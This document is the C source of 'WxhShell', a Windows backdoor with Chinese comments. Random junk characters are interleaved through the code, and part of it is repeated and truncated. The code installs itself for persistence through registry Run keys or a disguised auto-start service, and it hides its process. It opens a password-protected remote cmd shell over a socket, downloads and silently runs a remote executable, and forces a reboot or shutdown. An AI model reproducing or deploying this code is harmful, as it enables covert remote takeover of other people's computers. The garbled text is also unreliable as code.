7&dK_x,a n1x"B>3 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a 2[rY g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^zW=s$\Fo NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m8V}E&6 fB 0X9iV6j if (!NtQueryInformationProcess) return 0; ?AH B\S (*_lLM@Cd hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -Jf}3$Ra if(!hProcess) return 0; m@UrFPZ 1xr2x; if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q/q>mN"#1 6Jq3l_ CloseHandle(hProcess); hV+=hX<h ?E<9H/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gLRDd~H if(hProcess==NULL) return 0; "lrQC`? gWL`J=DiU HMODULE hMod; 8 C9ny} char procName[255]; fwiP3*j+Nn unsigned long cbNeeded; lwz\"8 S>)[n]f if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _u'y7- G{{M'1 CloseHandle(hProcess); vvu $8n -:kIIK
if(strstr(procName,"services")) return 1; // 以服务启动 !??g:2 >_\[C?8 return 0; // 注册表启动 .
:>e"D } 5fMlOP_ ];jp)P2o // 主模块 pTB7k3g int StartWxhshell(LPSTR lpCmdLine) .lq83;
k { I~6 o<HO SOCKET wsl; >t<\zC|~w BOOL val=TRUE; dWY{x47 int port=0; #a2gRg struct sockaddr_in door; u:f.;? hu1ZckIw? if(wscfg.ws_autoins) Install(); "Zx<hL* :`Ep#[Wvo port=atoi(lpCmdLine); 6B%
h qGX#(,E9; if(port<=0) port=wscfg.ws_port; J3(E{w8Q #vhN$H :&q WSADATA data; ?3 k_YN" if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s2GF*{ !%D';wQ,/ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `uUzBV.FR setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KQvSeH>r door.sin_family = AF_INET; u1Slu%^e door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~%C F3?e6 door.sin_port = htons(port); Wy*+8~@A n>R(e> if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HsUh5; closesocket(wsl); _ziSH 3( return 1; IVkB)9IW } la)^`STh l)dE7$H if(listen(wsl,2) == INVALID_SOCKET) { _ilitwRN3 closesocket(wsl); (ie%zrhS return 1; eU@Mv5&6 } #{{p4/: Wxhshell(wsl); Q$:Q6/5. WSACleanup(); =>B"j`oR o5
fV,BJZO return 0; -4sKB>b F]P sS( } z<mN-1PM7& abm 3q!a- // 以NT服务方式启动 k&%i+5X VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c9fz x { L!zdrCM DWORD status = 0; VQ|{Q} DWORD specificError = 0xfffffff; /\b*
oPWJ ]W14'Z serviceStatus.dwServiceType = SERVICE_WIN32; @$n
$f serviceStatus.dwCurrentState = SERVICE_START_PENDING; cS7\,/4S serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rU&Y/ serviceStatus.dwWin32ExitCode = 0; 1 =C12 serviceStatus.dwServiceSpecificExitCode = 0; =g!Pw] serviceStatus.dwCheckPoint = 0; ;'8Wl serviceStatus.dwWaitHint = 0; k]5tU\;Yw qar{*>LCG hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l^nvwm`f#: if (hServiceStatusHandle==0) return; fc8ODk*;E
IPK1g3Z status = GetLastError(); 2m:K
%Em6u if (status!=NO_ERROR) 1xd6p { 6>rz=yAM_ serviceStatus.dwCurrentState = SERVICE_STOPPED; Ca5#'3Eh serviceStatus.dwCheckPoint = 0; 8| =C/k serviceStatus.dwWaitHint = 0; GI/NouaNfm serviceStatus.dwWin32ExitCode = status; h7q{i|5 serviceStatus.dwServiceSpecificExitCode = specificError; 8IRKCuV SetServiceStatus(hServiceStatusHandle, &serviceStatus); T?m@`"L, return; bUm%#a } {+hABusq 8`urkEI^r serviceStatus.dwCurrentState = SERVICE_RUNNING; 5~?6]=hl serviceStatus.dwCheckPoint = 0; 5%WAnh serviceStatus.dwWaitHint = 0; 3kC|y[.& if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bRy(` } YR-G:-(#b 'Xj^cX // 处理NT服务事件,比如:启动、停止 */aQ+%>jf VOID WINAPI NTServiceHandler(DWORD fdwControl) 4~h0/H" { heou\;GI" switch(fdwControl) 3=sBe HL { L<@*6QH case SERVICE_CONTROL_STOP: zgEN2d serviceStatus.dwWin32ExitCode = 0; hZ*vk serviceStatus.dwCurrentState = SERVICE_STOPPED; <ytzGDx serviceStatus.dwCheckPoint = 0; #0b:5.vy serviceStatus.dwWaitHint = 0; b.RU%Y#>\ { n]$rLm%^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6CHb\k } }i"[5: return; k-=lt\? case SERVICE_CONTROL_PAUSE: xRacgny:I serviceStatus.dwCurrentState = SERVICE_PAUSED; VqW5VLa break; Ut\:jV=f case SERVICE_CONTROL_CONTINUE: Hq::F? serviceStatus.dwCurrentState = SERVICE_RUNNING; L}rZ1wV6 break; ; >H1A case SERVICE_CONTROL_INTERROGATE: s2SV
break; &Jj|+P-lY }; !;|#=A9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ao9#E"BfM } TYGI
f4z Q&r.wV| // 标准应用程序主函数 3W[?D8yi) int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CdRJ@Lf { 07:V[@' __9FQ{Ra // 获取操作系统版本 @,.D]43 OsIsNt=GetOsVer(); uthW
AT & GetModuleFileName(NULL,ExeFile,MAX_PATH); G4SA
u stajTN*J // 从命令行安装 zO"De~[9 if(strpbrk(lpCmdLine,"iI")) Install(); zw15r" R Dch\k<Te // 下载执行文件 tNr'@ls if(wscfg.ws_downexe) { 3S+9LOrhY if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yZNG>1N WinExec(wscfg.ws_filenam,SW_HIDE); p2 1| } k5aB|xo o=7,U/{D! if(!OsIsNt) { RR[zvH} E // 如果时win9x,隐藏进程并且设置为注册表启动 ph5{i2U0 HideProc(); SgxrU&:: StartWxhshell(lpCmdLine); Pp!4Ak4TT9 } Up?RN %gq else $?W2'Xm!V if(StartFromService()) [nig^8 // 以服务方式启动 \O "`o4 StartServiceCtrlDispatcher(DispatchTable); ]Pe>T& else o 7kg.w| // 普通方式启动 j8Z;}Ps StartWxhshell(lpCmdLine); 7d%x 7!E [A =0fg5 return 0; 1!(lpp } YOLzCnI4 .kU^)H"l ow9a^|@a \ZADY.ha =========================================== 5GScqY,aB >R]M:Wx Ed u(dZbKg x @q.u3o9 %:`v.AG 7oF3^K'S " 7P3pjgh FhY#3-jH #include <stdio.h> }~zDcj_ #include <string.h> r craf4% #include <windows.h> RD[P|4eY #include <winsock2.h> xk~gGT& #include <winsvc.h> FtyT:=Kpc #include <urlmon.h> xS_;p9{E 4Pc-A #pragma comment (lib, "Ws2_32.lib") GalSqtbmDt #pragma comment (lib, "urlmon.lib") L>IP!.J]? hT-^1:N #define MAX_USER 100 // 最大客户端连接数 *:TwO=) #define BUF_SOCK 200 // sock buffer BkB_?^Nv8 #define KEY_BUFF 255 // 输入 buffer ?[ )}N
_o# >&;J/ME #define REBOOT 0 // 重启 69r%b7# #define SHUTDOWN 1 // 关机 ?:9y
!Q= z9IW&f~~P #define DEF_PORT 5000 // 监听端口 ^AU-hVj u=InE|SH #define REG_LEN 16 // 注册表键长度 &j:prc[W #define SVC_LEN 80 // NT服务名长度 =nCA=-Jv QxW+|Gt._ // 从dll定义API q]: 72+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HcIJ&".~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nD/B:0' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L^t%p1R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6w &<j&V 1(Vv-bq$ // wxhshell配置信息 ?9{^gW4| struct WSCFG { vaF1e:( int ws_port; // 监听端口 J&\Q3_vro9 char ws_passstr[REG_LEN]; // 口令 3HtM<su*h int ws_autoins; // 安装标记, 1=yes 0=no %TN$ char ws_regname[REG_LEN]; // 注册表键名 =I'iD0eR char ws_svcname[REG_LEN]; // 服务名 9{fP.ifdv7 char ws_svcdisp[SVC_LEN]; // 服务显示名 V z char ws_svcdesc[SVC_LEN]; // 服务描述信息 )wjpxr char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @Un/,-ck int ws_downexe; // 下载执行标记, 1=yes 0=no $rj:K)P char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hJ8&OCR } char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >(H:eRKq 6
DQOar>d }; KtAEM;g I52nQCXi // default Wxhshell configuration c}OveR$'& struct WSCFG wscfg={DEF_PORT, ^NU_Tp:2^ "xuhuanlingzhe", a7_Q8iMe 1, k8ILo) "Wxhshell", ~_;.ZZ-H] "Wxhshell", M/W9"N[ta "WxhShell Service", XO?WxL9k] "Wrsky Windows CmdShell Service", g5 *E\T%8 "Please Input Your Password: ", aO1.9!<v 1, ?pJ2"/K
"http://www.wrsky.com/wxhshell.exe", }!fIY7gv "Wxhshell.exe" qh>An;:u }; O2 Y|<m 5KB Z-, // 消息定义模块 TVvE0y(9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YYI0iM> char *msg_ws_prompt="\n\r? for help\n\r#>"; Yqh-U%"' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nl2Lqu1 char *msg_ws_ext="\n\rExit."; ,DHH5sDCn char *msg_ws_end="\n\rQuit."; ,~$sJ2
g7 char *msg_ws_boot="\n\rReboot..."; 1H">Rb30@ char *msg_ws_poff="\n\rShutdown..."; hs+)a%A3G char *msg_ws_down="\n\rSave to "; EK>x\]O%T 6E_~8oEl char *msg_ws_err="\n\rErr!"; .DwiIr' char *msg_ws_ok="\n\rOK!"; 'U&]KSzxv ^0_ > char ExeFile[MAX_PATH]; "(H%m9K int nUser = 0; ql.[Uq HANDLE handles[MAX_USER]; W)Y-^i5 int OsIsNt; x^[0UA]S9 r4FSQ$[9w SERVICE_STATUS serviceStatus; a>#$&&oQ0 SERVICE_STATUS_HANDLE hServiceStatusHandle; Ro$*bN6p ZiKO|U@/ // 函数声明 =?Co<972Z int Install(void); hb1h.F int Uninstall(void); Qj
[p/H$ int DownloadFile(char *sURL, SOCKET wsh); -k>k<bDAI int Boot(int flag); 56c3tgVF void HideProc(void); :L:] 3L int GetOsVer(void); ?gU-a int Wxhshell(SOCKET wsl); c;29GHs2 void TalkWithClient(void *cs); S~z$=IiB int CmdShell(SOCKET sock); yIpgZ0:h int StartFromService(void); Ia9!ucN7DA int StartWxhshell(LPSTR lpCmdLine); [4;_8-[Nv es69P) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dEf5x_TGm VOID WINAPI NTServiceHandler( DWORD fdwControl ); WzdlrkD Lo[;{A$u // 数据结构和表定义 }7%ol&<@ SERVICE_TABLE_ENTRY DispatchTable[] = A&KY7[<AC{ { 9*"K+t: {wscfg.ws_svcname, NTServiceMain}, RAEN
&M {NULL, NULL} ]t17= Lr? }; HF&dHD2f ]=|iO~WN // 自我安装 (7~vOWs:[ int Install(void) ex|)3|J { s!Id55R] char svExeFile[MAX_PATH]; ,pZz`B# HKEY key; ](ztb) strcpy(svExeFile,ExeFile); \"yR[.Q?
%<q"&]e, // 如果是win9x系统,修改注册表设为自启动 +~
S7]AZ if(!OsIsNt) { x41 t=E]( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 03
v\v9<T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gs@^u#O RegCloseKey(key); ZkMHy1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LM.#~7jC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LXe'{W+bk RegCloseKey(key); zcEpywNP return 0; at3YL[,[Z } )gR3S%Ju } FQJFq6l } h*
/ else { Y k"yup@3 wp/x|AV // 如果是NT以上系统,安装为系统服务 sg]g;U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &)~LGWBdC if (schSCManager!=0) J2`OJsMwWe { lFgE{;z@ SC_HANDLE schService = CreateService Y}x_ud, ( WN#dR~> schSCManager, 61TL]S8 wscfg.ws_svcname, {
lZ<'p wscfg.ws_svcdisp, L\<J|87p? SERVICE_ALL_ACCESS, W?@+LQa?? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;u%4K$ SERVICE_AUTO_START, %__.-;)o SERVICE_ERROR_NORMAL, Od]wh svExeFile, h"N#/zQ NULL, VqB9^qJ]! NULL, *\wf(o>Q NULL, =u&NdMy NULL, `udZ =S"/L NULL `VOLw*Ci ); l_=kW!l if (schService!=0) /^Lo@672 { iwEHEi% CloseServiceHandle(schService); z: W1(/W~ CloseServiceHandle(schSCManager); O`(it%Ho! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gq?~*4H strcat(svExeFile,wscfg.ws_svcname); Rv+p4RgA if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +Sdki:: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !yTjO RegCloseKey(key); V -9z{ return 0;
DWJkN4}o } %O&C\{J } %^8>= CloseServiceHandle(schSCManager); /B9jmvj` } _^0)T@ } T]J#>LBd _b 8XF&O return 1; Sst`*PX: } g7W\
& `<l|XPv // 自我卸载 t]%!vXo int Uninstall(void) y0XI?Wr { 1&}^{ Ys HKEY key; 3/hAxd k-vxKrjZ/ if(!OsIsNt) { C(*)7|
m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cM'5m RegDeleteValue(key,wscfg.ws_regname); *Cgd?*\7 RegCloseKey(key); pBu~($%d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w]0jq
U6 RegDeleteValue(key,wscfg.ws_regname); %z0@4Gq RegCloseKey(key); !P26$US%P return 0; )p;gm`42oY } p{Gg,.f!HM } /`Lki>" } 7u^6`P else { *ha9Vq@X Vkb&'
rXw+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MPd#C*c if (schSCManager!=0) 9? W38EF { DEC,oX!bI1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4[&6yHJ^ if (schService!=0) 93( { m,TqyP# if(DeleteService(schService)!=0) { p8^^Pva/ CloseServiceHandle(schService); y!^RL,HIL CloseServiceHandle(schSCManager); Ja#idF[V return 0; hK$-R1O } #zt+U^#) CloseServiceHandle(schService); m%E7V{t } E|Grk CloseServiceHandle(schSCManager); ;@d<* } J:mOg95< } cY>;( x@ I$wP`gQh return 1; #G{T(0<F } u X0wg !P92e1 // 从指定url下载文件 iy: ;g int DownloadFile(char *sURL, SOCKET wsh)
BW\R { puqH%m+u HRESULT hr; a5)[?ol char seps[]= "/"; dadMwe_l0 char *token; tc,7yo\". char *file; 329xo03-[ char myURL[MAX_PATH]; !6 $>| char myFILE[MAX_PATH]; Jc%>=`f &gEu%s^wR strcpy(myURL,sURL); )v-* Wr eS token=strtok(myURL,seps); |XH3$;=*h while(token!=NULL) }>
1h+O { YHRI U Yd file=token; O@=mN*<gg0 token=strtok(NULL,seps); _fyw } +`4}bc,G z~Pmh%b GetCurrentDirectory(MAX_PATH,myFILE); z
vYDE] strcat(myFILE, "\\"); Ti/iD2g strcat(myFILE, file);
Qom@-A send(wsh,myFILE,strlen(myFILE),0); %!$-N!e send(wsh,"...",3,0); Sd\@Q%
}o\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QJE-$ : if(hr==S_OK) M!jW=^\ return 0; jI V? p else z$V8<&q return 1; ~^C7(g ) <Ztda ! } Uy1xNb/d k:qou})#4 // 系统电源模块 te''sydUS int Boot(int flag) hpyre B { %Uk/P HANDLE hToken; U; xWW9 TOKEN_PRIVILEGES tkp; :V2Q n-N `;qZ$HH if(OsIsNt) { (KMobIP^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W9Lg}[>:) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ny'v/+nQ tkp.PrivilegeCount = 1; eC{Z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DmrfD28j~F AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @[RY8~ if(flag==REBOOT) { #G=QL(f>/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R qz()M return 0; 5gEfhZQ } ]e`_.>U else { eM"mP&TTL if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PPO<{ return 0; gc~h!%'.I } nQHd\/B
} x=#5\t9 else { PZR%8 m}]u if(flag==REBOOT) { P$ef,ZW" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EI.Pk>ZIm return 0; @<=#i } g0OS<,: else { 9y*!W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xm0#4GFUS return 0; B[B<U~I} } g VJ#LJ } I?g__u=n~ y( return 1; gtGKV } ==Mi1Q#5C 2rtP.*dd // win9x进程隐藏模块 N>Y50 void HideProc(void) n{r#K_ { WbWW=(N'd V FSn!o:C HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s7i.p] if ( hKernel != NULL ) z\8yB`8b^ { qg{<&V7fE pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 67\Ojl~(1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T$8~9qx FreeLibrary(hKernel); `$SEkYdt } 3t{leuO' $,,>R[; w return; s8d}HI } j~*Z7iu tZ
j,A%<
// 获取操作系统版本 ![]I%'s int GetOsVer(void) u<shhb- { zHOE.V2Qo OSVERSIONINFO winfo; *m&:
Yje winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `s>=Sn&UP GetVersionEx(&winfo); ,Zf!KQw if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r82o[+$u0K return 1; lJzy)ne else $dp#nyP return 0; 6 _5d } "I}Z2 7 Y>`- \ // 客户端句柄模块 1uS-Tx int Wxhshell(SOCKET wsl) 1H4Zgh
U { #H6g&)Z_ SOCKET wsh; ,ANK3n\ struct sockaddr_in client; 0 {JK4]C DWORD myID; +Sd,l>8\ _/
}6 while(nUser<MAX_USER) N.{jM[\F { 90qj6.SQ int nSize=sizeof(client); v^c<`i; wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x:?a;m uf if(wsh==INVALID_SOCKET) return 1; ?5yH'9zE DqzA U7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6Z7pztk if(handles[nUser]==0) .K@x4
/1 closesocket(wsh); ~`\9Q else ^5^}MB% nUser++; J,1osG<6x } `N,Vs n" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3IK(f. -N7xO) return 0; WR
a+zii, } 0Ox|^V A} -&C // 关闭 socket O5^J!(.O\Z void CloseIt(SOCKET wsh) ?cO8'4 bq { 9PKoNd^e closesocket(wsh); N2tkCkl^x9 nUser--; -jVaS wt ExitThread(0); 2>$F0
M } j6e}7 *t.q m5h // 客户端请求句柄 g %\$ !b void TalkWithClient(void *cs) i-k >U}[% { fK'.wX9 B [+(r SOCKET wsh=(SOCKET)cs; ,!I?)hwOC char pwd[SVC_LEN]; ^`rpf\GX( char cmd[KEY_BUFF]; (LRM~5KVg char chr[1]; |.(CIu~b int i,j; ;P;"F21^> h`5YA89 while (nUser < MAX_USER) { VT%
KN`l 3I"NI.>* if(wscfg.ws_passstr) { zJ;>.0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1yBt/U2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D0/DI //ZeroMemory(pwd,KEY_BUFF); X(k{-|9] i=0; ~+N76BX while(i<SVC_LEN) { GIm
" )}W U@6jOZ // 设置超时 +Qh[sGDdY fd_set FdRead; ]*N:;J struct timeval TimeOut;
76-jMcGi FD_ZERO(&FdRead); r{\BbUnf) FD_SET(wsh,&FdRead); jzs.+dAg TimeOut.tv_sec=8; -AjH}A[! TimeOut.tv_usec=0; G'f9N^w int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~:>AR` 9G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 90/vJN e-X HN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *Jvxs
R'a1 pwd=chr[0]; t;8\fIW5 if(chr[0]==0xd || chr[0]==0xa) { w6T[hZ 9 pwd=0; ,~4H{{<j break; VF)uu[
f9 } )K~w'TUr i++; hv*>%p } 'LVn^TB_f& EgTFwEj // 如果是非法用户,关闭 socket X8/Tl\c if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?Z q_9T7 } XrF3kz!44 43zUN send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v`JF\"}S send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <i{K7}': w
|_GV}#_ while(1) { 3VmI0gsm.> b'i'GJBQ+$ ZeroMemory(cmd,KEY_BUFF); s]U4B<q v"Me {+ // 自动支持客户端 telnet标准 !(Krf j=0; g\Wj+el} while(j<KEY_BUFF) {
(}Sr08m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h
T<n1q~ cmd[j]=chr[0]; }e 9!xA if(chr[0]==0xa || chr[0]==0xd) { ]q{
PDZ
cmd[j]=0; x?"#gK`3; break; !X|k"km" } V/PAi.GZ
j++; $;2)s}ci } Wta]BX |; $Bb866/ // 下载文件 1,,|MW if(strstr(cmd,"http://")) { 9R
p2W send(wsh,msg_ws_down,strlen(msg_ws_down),0); xCWz\-; if(DownloadFile(cmd,wsh)) G@gh#[b send(wsh,msg_ws_err,strlen(msg_ws_err),0); rK1-Mu else uWjN2#&, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fW?sYC' } dC.bt|#Oz else { ~6`iY@) ~i ,"87$[ switch(cmd[0]) { ;I}'} oFCgu{\kt // 帮助 3J~0O2 case '?': { rn8cdMN send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O0T/#<Cn! break; Xc*U+M>U } wN97_Y=`n // 安装 v4rW2F:X case 'i': { ba3*]01Yb if(Install()) 0K`[,$Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); tIc 7:th else Y-)xTn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $TG=w break; ?A?F.n` } aJhxc<"e // 卸载 }rq9I"/L case 'r': { vDFGd-S if(Uninstall()) h|D0z_f send(wsh,msg_ws_err,strlen(msg_ws_err),0); }^xE|~p else yVX8e I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Lft9e break; aUc|V{Jp } -TO\'^][X // 显示 wxhshell 所在路径 u0QzLi, case 'p': { a0=WfeT char svExeFile[MAX_PATH]; u JY)4T strcpy(svExeFile,"\n\r"); NX[4PKJ0C strcat(svExeFile,ExeFile); jQ\zG J3 send(wsh,svExeFile,strlen(svExeFile),0); "ZrOrdlg+A break; 0.TaXbi } 15U (={ // 重启 'n;OB4 case 'b': { t `kui. send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1yQejw if(Boot(REBOOT)) H[
m<RaG8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); `R"~v/x else { rx0~`cVV: closesocket(wsh); iK5_u2]Q ExitThread(0); piy`zc-yu } gw36Ec<M break; |~!U4D\ } *`_{ // 关机 Q GZyL)Q case 'd': { 2ZcKK8X;7 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y5r4+2B if(Boot(SHUTDOWN)) -I.d}[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); UCWV2Mu else { ]\ !5}L closesocket(wsh); M{g%cR0 ExitThread(0); ":a\z(*t } $+p?Y)h . break; #>lG7Ns|4 } [NMVoBvG // 获取shell PHOP%hI$ case 's': { ^XbU~3( CmdShell(wsh); fGhn+8VfX closesocket(wsh); I$q]. B ExitThread(0); [e[<p\] break; 2c6g>? } S*o[ZA
// 退出 7xRl9 case 'x': { 2 3OC2| send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )e5 @ CloseIt(wsh); 7d LuX break; Xs: 3'ua } 8Nu=^[qwQM // 离开 1`ayc|9BR case 'q': { jCbV,0)^ send(wsh,msg_ws_end,strlen(msg_ws_end),0); RuII!}* closesocket(wsh); n]E?3UGD@W WSACleanup(); Zm6{n' exit(1); F~h7{@\ break; X}+>!%W!} } 3EJt%}V$k } (=7Cs } If\fLhM 8Z(Mvq]f& // 提示信息 *S2ypzwRZ, if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0$,SF3K } (sh)TBb5 } t+9][Adf tH-C8Qxy return; /~zai} } w.[ "p9tc o!)3? // shell模块句柄 @Y1s$,=xB int CmdShell(SOCKET sock) =Xo
=Qcr { 6Vz9?puD STARTUPINFO si; q
FAT]{{ ZeroMemory(&si,sizeof(si)); l<A|d{" ] si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D8$G `~hD si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6oGYnu;UZ PROCESS_INFORMATION ProcessInfo; {WYX~Mvvj char cmdline[]="cmd"; zG(\+4GE! CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9jw\s P@ return 0; 2AMo:Jqv } RJd(~1 'IwNTM // 自身启动模式 s,]z[qB#$ int StartFromService(void) XCBL}pNkR { (L/_^!ZX typedef struct iv4H#rJ { d~i+
I5 DWORD ExitStatus;
K~R`%r_ DWORD PebBaseAddress; YB2VcF.LU DWORD AffinityMask; s+<Yg$) DWORD BasePriority; NA ~Vg8 ULONG UniqueProcessId; *2,VyY ULONG InheritedFromUniqueProcessId; . QBF`Rz } PROCESS_BASIC_INFORMATION; m)'=G%y 0"f\@8r( PROCNTQSIP NtQueryInformationProcess; ^G}47( @X#F3; static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QC}CRkp static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,Ge"anO 5Ou`z5S\k HANDLE hProcess; -#N.X_F PROCESS_BASIC_INFORMATION pbi; }E50>g [J?aD`{#O HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P&*2pX: if(NULL == hInst ) return 0; SC)g^E# ]H+8rY%+ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lww!-(<ww g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
HMh"}I2n NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
/} b03 + |n*b if (!NtQueryInformationProcess) return 0; BHU6t<G
